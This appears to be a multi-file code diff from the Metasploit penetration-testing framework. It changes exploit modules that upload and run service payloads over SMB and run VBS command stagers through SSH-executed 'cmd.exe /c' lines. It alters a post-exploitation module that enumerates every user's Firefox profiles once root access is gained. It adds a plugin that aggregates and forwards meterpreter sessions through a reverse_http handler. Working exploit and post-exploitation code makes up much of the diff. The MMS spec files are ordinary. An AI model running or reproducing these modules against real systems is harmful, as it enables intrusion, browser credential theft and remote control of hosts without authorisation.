OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
|
||||
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -163,6 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def powershell
|
||||
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
|
@ -181,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def native_upload
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
|
||||
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
|
@ -202,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => servicename }
|
||||
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -80,24 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
|
||||
def upload_payload(connection)
|
||||
exe = generate_payload_exe
|
||||
filename = rand_text_alpha(8) + ".exe"
|
||||
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
||||
opts = {
|
||||
:linemax => 1700,
|
||||
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
|
||||
}
|
||||
|
||||
cmds = cmdstager.generate(opts)
|
||||
|
||||
if (cmds.nil? or cmds.length < 1)
|
||||
print_error("The command stager could not be generated")
|
||||
raise ArgumentError
|
||||
end
|
||||
cmds.each { |cmd|
|
||||
connection.exec!("cmd.exe /c "+cmd)
|
||||
}
|
||||
def execute_command(cmd, opts = {})
|
||||
@connection.exec!("cmd.exe /c "+cmd)
|
||||
end
|
||||
|
||||
def setup_ssh_options
|
||||
|
@ -167,18 +151,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
options = setup_ssh_options
|
||||
|
||||
connection = nil
|
||||
@connection = nil
|
||||
|
||||
each_user do |username|
|
||||
next if username.empty?
|
||||
connection=do_login(username,options)
|
||||
break if connection
|
||||
@connection=do_login(username,options)
|
||||
break if @connection
|
||||
end
|
||||
|
||||
if connection
|
||||
if @connection
|
||||
print_status("Uploading payload, this may take several minutes...")
|
||||
upload_payload(connection)
|
||||
handler
|
||||
execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 53370
|
||||
CachedSize = 53382
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 53334
|
||||
CachedSize = 53346
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 53334
|
||||
CachedSize = 53346
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 53286
|
||||
CachedSize = 53302
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# This module requires Metasploit: https://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
|
|
@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post
|
|||
omnija = read_file(@paths['ff'] + org_file)
|
||||
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
|
||||
print_error("Could not download: #{@paths['ff'] + org_file}")
|
||||
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
|
||||
print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -249,8 +249,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
if got_root
|
||||
vprint_status("Detected ROOT privileges. Searching every account on the target system.")
|
||||
userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
|
||||
userdirs << "/root\n"
|
||||
userdirs = "/root\n"
|
||||
userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
|
||||
else
|
||||
vprint_status("Checking #{id}'s Firefox account")
|
||||
userdirs = "#{home + id}\n"
|
||||
|
@ -260,16 +260,16 @@ class MetasploitModule < Msf::Post
|
|||
dir.chomp!
|
||||
next if dir == "." or dir == ".." or dir =~ /No such file/i
|
||||
|
||||
@platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
|
||||
@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")
|
||||
|
||||
print_status("Checking for Firefox profile in: #{basepath}")
|
||||
checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
|
||||
checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
|
||||
|
||||
checkpath.each_line do |ffpath|
|
||||
ffpath.chomp!
|
||||
if ffpath =~ /\.default/
|
||||
vprint_good("Found profile: #{basepath + ffpath}")
|
||||
paths << "#{basepath + ffpath}"
|
||||
if ffpath =~ /\.default$/
|
||||
vprint_good("Found profile: #{ffpath}")
|
||||
paths << "#{ffpath}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -332,7 +332,7 @@ class MetasploitModule < Msf::Post
|
|||
profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
|
||||
profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
|
||||
|
||||
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
|
||||
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n"))
|
||||
|
||||
files.each do |file|
|
||||
file.chomp!
|
||||
|
@ -551,12 +551,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
|||
when :unix
|
||||
# Assuming userdir /home/(x) = user
|
||||
print_status("Enumerating users")
|
||||
users = cmd_exec("ls /home 2>/dev/null")
|
||||
if users.nil? or users.empty?
|
||||
homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "")
|
||||
if homedirs.nil? or homedirs.empty?
|
||||
print_error("No normal user found")
|
||||
return false
|
||||
end
|
||||
user = users.split[0]
|
||||
user = nil
|
||||
# Skip home directories which contain a space, as those are likely not usernames...
|
||||
homedirs.each_line do |homedir|
|
||||
user = homedir.chomp
|
||||
break unless user.index(" ")
|
||||
end
|
||||
|
||||
# Since we can't access the display environment variable we have to assume the default value
|
||||
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
|
||||
args << "\""
|
||||
|
@ -719,6 +725,10 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
|||
session.sys.config.getuid =~ /SYSTEM/ ? true : false
|
||||
else # unix, bsd, linux, osx
|
||||
id_output = cmd_exec("id").chomp
|
||||
if id_output.blank?
|
||||
# try an absolute path
|
||||
id_output = cmd_exec("/usr/bin/id").chomp
|
||||
end
|
||||
id_output.include?("uid=0(") ? true : false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -42,7 +42,7 @@ class MetasploitModule < Msf::Post
|
|||
if datastore['SPAWN']
|
||||
print_status("Spawning notepad.exe process to migrate to")
|
||||
target_pid = create_temp_proc
|
||||
elsif datastore['PID'] != 0
|
||||
elsif datastore['PID']
|
||||
target_pid = datastore['PID']
|
||||
elsif datastore['NAME']
|
||||
target_pid = session.sys.process[datastore['NAME']]
|
||||
|
|
|
@ -44,5 +44,5 @@ end
|
|||
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
|
||||
require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
|
||||
require 'metasploit/framework/command/console'
|
||||
|
||||
require 'msf/core/payload_generator'
|
||||
Metasploit::Framework::Command::Console.start
|
||||
|
|
|
@ -0,0 +1,458 @@
|
|||
#
|
||||
# $Id$
|
||||
#
|
||||
# This plugin provides management and interaction with an external session aggregator.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
require "metasploit/aggregator"
|
||||
|
||||
module Msf
|
||||
Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" # location of the aggregator.yml containing saved aggregator creds
|
||||
|
||||
class Plugin::Aggregator < Msf::Plugin
|
||||
class AggregatorCommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
@response_queue = []
|
||||
|
||||
def name
|
||||
"Aggregator"
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )",
|
||||
'aggregator_save' => "Save connection details to an Aggregator instance",
|
||||
'aggregator_disconnect' => "Disconnect from an active Aggregator instance",
|
||||
'aggregator_addresses' => "List all remote ip addresses available for ingress",
|
||||
'aggregator_cables' => "List all remote listeners for sessions",
|
||||
'aggregator_cable_add' => "Setup remote https listener for sessions",
|
||||
'aggregator_cable_remove' => "Stop remote listener for sessions",
|
||||
'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener",
|
||||
'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance",
|
||||
'aggregator_session_forward' => "forward a session to a specified listener",
|
||||
'aggregator_session_park' => "Park an existing session on the Aggregator instance"
|
||||
}
|
||||
end
|
||||
|
||||
def aggregator_verify
|
||||
if !@aggregator
|
||||
print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'")
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def usage(*lines)
|
||||
print_status("Usage: ")
|
||||
lines.each do |line|
|
||||
print_status(" #{line}")
|
||||
end
|
||||
end
|
||||
|
||||
def usage_save
|
||||
usage("aggregator_save")
|
||||
end
|
||||
|
||||
def usage_connect
|
||||
usage("aggregator_connect host[:port]",
|
||||
" -OR- ",
|
||||
"aggregator_connect host port")
|
||||
end
|
||||
|
||||
def usage_cable_add
|
||||
usage('aggregator_cable_add host:port [certificate]',
|
||||
' -OR- ',
|
||||
'aggregator_cable_add host port [certificate]')
|
||||
end
|
||||
|
||||
def usage_cable_remove
|
||||
usage('aggregator_cable_remove host:port',
|
||||
' -OR- ',
|
||||
'aggregator_cable_remove host port')
|
||||
end
|
||||
|
||||
def usage_session_forward
|
||||
usage("aggregator_session_forward remote_id")
|
||||
end
|
||||
|
||||
def usage_default_forward
|
||||
usage("aggregator_session_forward")
|
||||
end
|
||||
|
||||
def cmd_aggregator_save(*args)
|
||||
# if we are logged in, save session details to aggregator.yaml
|
||||
if args.length == 0 || args[0] == "-h"
|
||||
usage_save
|
||||
return
|
||||
end
|
||||
|
||||
if args[0]
|
||||
usage_save
|
||||
return
|
||||
end
|
||||
|
||||
group = "default"
|
||||
|
||||
if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)
|
||||
config = { "#{group}" => { 'server' => @host, 'port' => @port } }
|
||||
::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) }
|
||||
print_good("#{Aggregator_yaml} created.")
|
||||
else
|
||||
print_error("Missing server/port - reconnect and then try again.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_aggregator_connect(*args)
|
||||
if !args[0]
|
||||
if ::File.readable?("#{Aggregator_yaml}")
|
||||
lconfig = YAML.load_file("#{Aggregator_yaml}")
|
||||
@host = lconfig['default']['server']
|
||||
@port = lconfig['default']['port']
|
||||
aggregator_login
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if args.length == 0 || args[0].empty? || args[0] == "-h"
|
||||
usage_connect
|
||||
return
|
||||
end
|
||||
|
||||
@host = @port = @sslv = nil
|
||||
|
||||
case args.length
|
||||
when 1
|
||||
@host, @port = args[0].split(':', 2)
|
||||
@port ||= '2447'
|
||||
when 2
|
||||
@host, @port = args
|
||||
else
|
||||
usage_connect
|
||||
return
|
||||
end
|
||||
aggregator_login
|
||||
end
|
||||
|
||||
def cmd_aggregator_sessions(*_args)
|
||||
return unless aggregator_verify
|
||||
|
||||
sessions_list = @aggregator.sessions
|
||||
return if sessions_list.nil?
|
||||
|
||||
# get details for each session and print in format of sessions -v
|
||||
print_status("Sessions found:")
|
||||
sessions_list.each do |session|
|
||||
session_id, target = session
|
||||
details = @aggregator.session_details(session_id)
|
||||
local_id = nil
|
||||
framework.sessions.each_pair do |key, value|
|
||||
next unless value.conn_id == session_id
|
||||
local_id = key
|
||||
end
|
||||
# filter session that do not have details as forwarding options (this may change later)
|
||||
next unless details && details['ID']
|
||||
|
||||
print_status "\t Remote ID: #{details['ID']}"
|
||||
print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}"
|
||||
print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}"
|
||||
print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}"
|
||||
print_status "\t Via: exploit/multi/handler"
|
||||
print_status "\t UUID: #{details['UUID']}"
|
||||
print_status "\t MachineID: #{details['MachineID']}"
|
||||
print_status "\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" unless details['LAST_SEEN'].nil?
|
||||
print_status "\tRegistered: Not Yet Implemented"
|
||||
print_status "\t Forward: #{target}"
|
||||
print_status "\tSession ID: #{local_id}" unless local_id.nil?
|
||||
print_status ""
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_aggregator_addresses(*_args)
|
||||
return if !aggregator_verify
|
||||
|
||||
address_list = @aggregator.available_addresses
|
||||
return if address_list.nil?
|
||||
|
||||
print_status("Remote addresses found:")
|
||||
address_list.each do |addr|
|
||||
print_status(" #{addr}")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_aggregator_cable_add(*args)
|
||||
host, port, certificate = nil
|
||||
case args.length
|
||||
when 1
|
||||
host, port = args[0].split(':', 2)
|
||||
when 2
|
||||
host, port = args[0].split(':', 2)
|
||||
if port.nil?
|
||||
port = args[1]
|
||||
else
|
||||
certificate = args[1]
|
||||
end
|
||||
when 3
|
||||
host, port, certificate = args
|
||||
else
|
||||
usage_cable_add
|
||||
return
|
||||
end
|
||||
|
||||
if !aggregator_verify || args.length == 0 || args[0] == '-h' || \
|
||||
port.nil? || port.to_i <= 0
|
||||
usage_cable_add
|
||||
return
|
||||
end
|
||||
|
||||
certificate = File.new(certificate).read if certificate && File.exists?(certificate)
|
||||
|
||||
@aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate)
|
||||
end
|
||||
|
||||
def cmd_aggregator_cables(*_args)
|
||||
return if !aggregator_verify
|
||||
res = @aggregator.cables
|
||||
print_status("Remote Cables:")
|
||||
res.each do |k|
|
||||
print_status(" #{k}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def cmd_aggregator_cable_remove(*args)
|
||||
case args.length
|
||||
when 1
|
||||
host, port = args[0].split(':', 2)
|
||||
when 2
|
||||
host, port = args
|
||||
end
|
||||
if !aggregator_verify || args.length == 0 || args[0] == '-h' || host.nil?
|
||||
usage_cable_remove
|
||||
return
|
||||
end
|
||||
@aggregator.remove_cable(host, port)
|
||||
end
|
||||
|
||||
def cmd_aggregator_session_park(*args)
|
||||
return if !aggregator_verify
|
||||
|
||||
case args.length
|
||||
when 1
|
||||
session_id = args[0]
|
||||
s = framework.sessions.get(session_id)
|
||||
unless s.nil?
|
||||
if @aggregator.sessions.keys.include? s.conn_id
|
||||
@aggregator.release_session(s.conn_id)
|
||||
framework.sessions.deregister(s)
|
||||
else
|
||||
# TODO: determine if we can add a transport and route with the
|
||||
# aggregator. For now, just report action not taken.
|
||||
print_status("#{session_id} does not originate from the aggregator connection.")
|
||||
end
|
||||
else
|
||||
print_status("#{session_id} is not a valid session.")
|
||||
end
|
||||
else
|
||||
usage('aggregator_session_park session_id')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_aggregator_default_forward(*_args)
|
||||
return if !aggregator_verify
|
||||
|
||||
@aggregator.register_default(@aggregator.uuid, nil)
|
||||
end
|
||||
|
||||
def cmd_aggregator_session_forward(*args)
|
||||
return if !aggregator_verify
|
||||
|
||||
remote_id = nil
|
||||
case args.length
|
||||
when 1
|
||||
remote_id = args[0]
|
||||
else
|
||||
usage_session_forward
|
||||
return
|
||||
end
|
||||
# find session with ID matching request
|
||||
@aggregator.sessions.each do |session|
|
||||
session_uri, _target = session
|
||||
details = @aggregator.session_details(session_uri)
|
||||
next unless details['ID'] == remote_id
|
||||
return @aggregator.obtain_session(session_uri, @aggregator.uuid)
|
||||
end
|
||||
print_error("#{remote_id} was not found.")
|
||||
end
|
||||
|
||||
def cmd_aggregator_disconnect(*_args)
|
||||
if @aggregator && @aggregator.available?
|
||||
# check if this connection is the default forward
|
||||
@aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid
|
||||
|
||||
# now check for any specifically forwarded sessions
|
||||
local_sessions_by_id = {}
|
||||
framework.sessions.each_pair do |_id, s|
|
||||
local_sessions_by_id[s.conn_id] = s
|
||||
end
|
||||
|
||||
sessions = @aggregator.sessions
|
||||
unless sessions.nil?
|
||||
sessions.each_pair do |session, console|
|
||||
next unless local_sessions_by_id.keys.include?(session)
|
||||
if console == @aggregator.uuid
|
||||
# park each session locally addressed
|
||||
cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session]))
|
||||
else
|
||||
# simple disconnect session that were from the default forward
|
||||
framework.sessions.deregister(local_sessions_by_id[session])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@aggregator.stop if @aggregator
|
||||
if @payload_job_ids
|
||||
@payload_job_ids.each do |id|
|
||||
framework.jobs.stop_job(id)
|
||||
end
|
||||
@payload_job_ids = nil
|
||||
end
|
||||
@aggregator = nil
|
||||
end
|
||||
|
||||
def aggregator_login
|
||||
|
||||
if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0))
|
||||
usage_connect
|
||||
return
|
||||
end
|
||||
|
||||
if @host != "localhost" and @host != "127.0.0.1"
|
||||
print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker")
|
||||
print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator")
|
||||
print_error(" traffic, if you are running this on an untrusted network.")
|
||||
return
|
||||
end
|
||||
|
||||
# Wrap this so a duplicate session does not prevent access
|
||||
begin
|
||||
cmd_aggregator_disconnect
|
||||
rescue ::Interrupt => i
|
||||
raise i
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Connecting to Aggregator instance at #{@host}:#{@port}...")
|
||||
@aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port)
|
||||
end
|
||||
|
||||
aggregator_compatibility_check
|
||||
|
||||
unless @payload_job_ids
|
||||
@payload_job_ids = []
|
||||
@my_io = local_handler
|
||||
end
|
||||
|
||||
@aggregator.register_response_channel(@my_io)
|
||||
@aggregator
|
||||
end
|
||||
|
||||
def aggregator_compatibility_check
|
||||
false if @aggregator.nil?
|
||||
unless @aggregator.available?
|
||||
print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.")
|
||||
cmd_aggregator_disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def local_handler
|
||||
# get a random ephemeral port
|
||||
server = TCPServer.new('127.0.0.1', 0)
|
||||
port = server.addr[1]
|
||||
server.close
|
||||
|
||||
multi_handler = framework.exploits.create('multi/handler')
|
||||
|
||||
multi_handler.datastore['LHOST'] = "127.0.0.1"
|
||||
# multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https"
|
||||
multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http"
|
||||
multi_handler.datastore['LPORT'] = "#{port}"
|
||||
|
||||
# %w(DebugOptions PrependMigrate PrependMigrateProc
|
||||
# InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
||||
# StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
||||
# IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
||||
# SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
|
||||
# multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
|
||||
# end
|
||||
|
||||
multi_handler.datastore['ExitOnSession'] = false
|
||||
multi_handler.datastore['EXITFUNC'] = 'thread'
|
||||
|
||||
multi_handler.exploit_simple(
|
||||
'LocalInput' => nil,
|
||||
'LocalOutput' => nil,
|
||||
'Payload' => multi_handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
@payload_job_ids << multi_handler.job_id
|
||||
# requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT'])
|
||||
requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT'])
|
||||
requester
|
||||
end
|
||||
|
||||
# borrowed from Msf::Sessions::Meterpreter for now
|
||||
def guess_target_platform(os)
|
||||
case os
|
||||
when /windows/i
|
||||
Msf::Module::Platform::Windows.realname.downcase
|
||||
when /darwin/i
|
||||
Msf::Module::Platform::OSX.realname.downcase
|
||||
when /mac os ?x/i
|
||||
# this happens with java on OSX (for real!)
|
||||
Msf::Module::Platform::OSX.realname.downcase
|
||||
when /freebsd/i
|
||||
Msf::Module::Platform::FreeBSD.realname.downcase
|
||||
when /openbsd/i, /netbsd/i
|
||||
Msf::Module::Platform::BSD.realname.downcase
|
||||
else
|
||||
Msf::Module::Platform::Linux.realname.downcase
|
||||
end
|
||||
end
|
||||
|
||||
private :guess_target_platform
|
||||
private :aggregator_login
|
||||
private :aggregator_compatibility_check
|
||||
private :aggregator_verify
|
||||
private :local_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Plugin initialization
|
||||
#
|
||||
|
||||
def initialize(framework, opts)
|
||||
super
|
||||
|
||||
add_console_dispatcher(AggregatorCommandDispatcher)
|
||||
print_status("Aggregator interaction has been enabled")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
remove_console_dispatcher('Aggregator')
|
||||
end
|
||||
|
||||
def name
|
||||
"aggregator"
|
||||
end
|
||||
|
||||
def desc
|
||||
"Interacts with the external Session Aggregator"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,4 +1,3 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# This plugin provides an msf daemon interface that spawns a listener on a
|
||||
# defined port (default 55552) and gives each connecting client its own
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# This plugin provides integration with OpenVAS. Written by kost and
|
||||
# averagesecurityguy.
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Client do
|
||||
|
||||
let(:phone_numbers) { ['1112223333'] }
|
||||
|
||||
let(:message) { 'message' }
|
||||
|
||||
let(:attachment) { 'file.jpg' }
|
||||
|
||||
let(:file_content) { 'content' }
|
||||
|
||||
let(:subject) { 'subject' }
|
||||
|
||||
let(:ctype) { 'ctype' }
|
||||
|
||||
let(:carrier) { :verizon }
|
||||
|
||||
let(:smtp_server) {
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: 'example.com',
|
||||
port: 25,
|
||||
username: 'username',
|
||||
password: 'password'
|
||||
)
|
||||
}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Client.new(
|
||||
carrier: carrier,
|
||||
smtp_server: smtp_server
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets carrier' do
|
||||
expect(subject.carrier).to eq(carrier)
|
||||
end
|
||||
|
||||
it 'sets smtp server' do
|
||||
expect(subject.smtp_server).to eq(smtp_server)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_mms_to_phones' do
|
||||
before(:each) do
|
||||
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
|
||||
allow(smtp).to receive(:start).and_yield
|
||||
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
|
||||
allow(Net::SMTP).to receive(:new).and_return(smtp)
|
||||
allow(File).to receive(:read).and_return(file_content)
|
||||
end
|
||||
|
||||
it 'sends an mms message' do
|
||||
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
|
||||
expect(@sent_message).to include('MIME-Version: 1.0')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Message do
|
||||
|
||||
let(:message) { 'message' }
|
||||
let(:content_type) { 'ctype' }
|
||||
let(:attachment) { 'filepath.jpg' }
|
||||
let(:filecontent) { 'file content' }
|
||||
let(:from) { 'sender@example.com' }
|
||||
let(:to) { 'receiver@example.com' }
|
||||
let(:mms_subject) { 'subject' }
|
||||
|
||||
before(:each) do
|
||||
allow(File).to receive(:read).and_return(filecontent)
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(
|
||||
from: from,
|
||||
to: to,
|
||||
subject: mms_subject,
|
||||
message: message,
|
||||
content_type: content_type,
|
||||
attachment_path: attachment
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets message' do
|
||||
expect(subject.message).to eq(message)
|
||||
end
|
||||
|
||||
it 'sets content type' do
|
||||
expect(subject.content_type).to eq(content_type)
|
||||
end
|
||||
|
||||
it 'sets attachment path' do
|
||||
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets to' do
|
||||
expect(subject.to).to eq(to)
|
||||
end
|
||||
|
||||
it 'sets subject' do
|
||||
expect(subject.subject).to eq(mms_subject)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#to_s' do
|
||||
it 'returns the mms message' do
|
||||
expect(subject.to_s).to include('MIME-Version: 1.0')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Smtp do
|
||||
|
||||
let(:address) { 'example.com' }
|
||||
let(:port) { 25 }
|
||||
let(:username) { 'username' }
|
||||
let(:password) { 'password' }
|
||||
let(:login_type) { :login }
|
||||
let(:from) { 'from' }
|
||||
let(:helo_domain) { 'example.com'}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: address,
|
||||
port: port,
|
||||
username: username,
|
||||
password: password,
|
||||
login_type: login_type,
|
||||
from: from,
|
||||
helo_domain: helo_domain
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets address' do
|
||||
expect(subject.address).to eq(address)
|
||||
end
|
||||
|
||||
it 'sets port' do
|
||||
expect(subject.port).to eq(port)
|
||||
end
|
||||
|
||||
it 'sets username' do
|
||||
expect(subject.username).to eq(username)
|
||||
end
|
||||
|
||||
it 'sets password' do
|
||||
expect(subject.password).to eq(password)
|
||||
end
|
||||
|
||||
it 'sets login_type' do
|
||||
expect(subject.login_type).to eq(login_type)
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets helo domain' do
|
||||
expect(subject.helo_domain).to eq(helo_domain)
|
||||
end
|
||||
end
|
||||
|
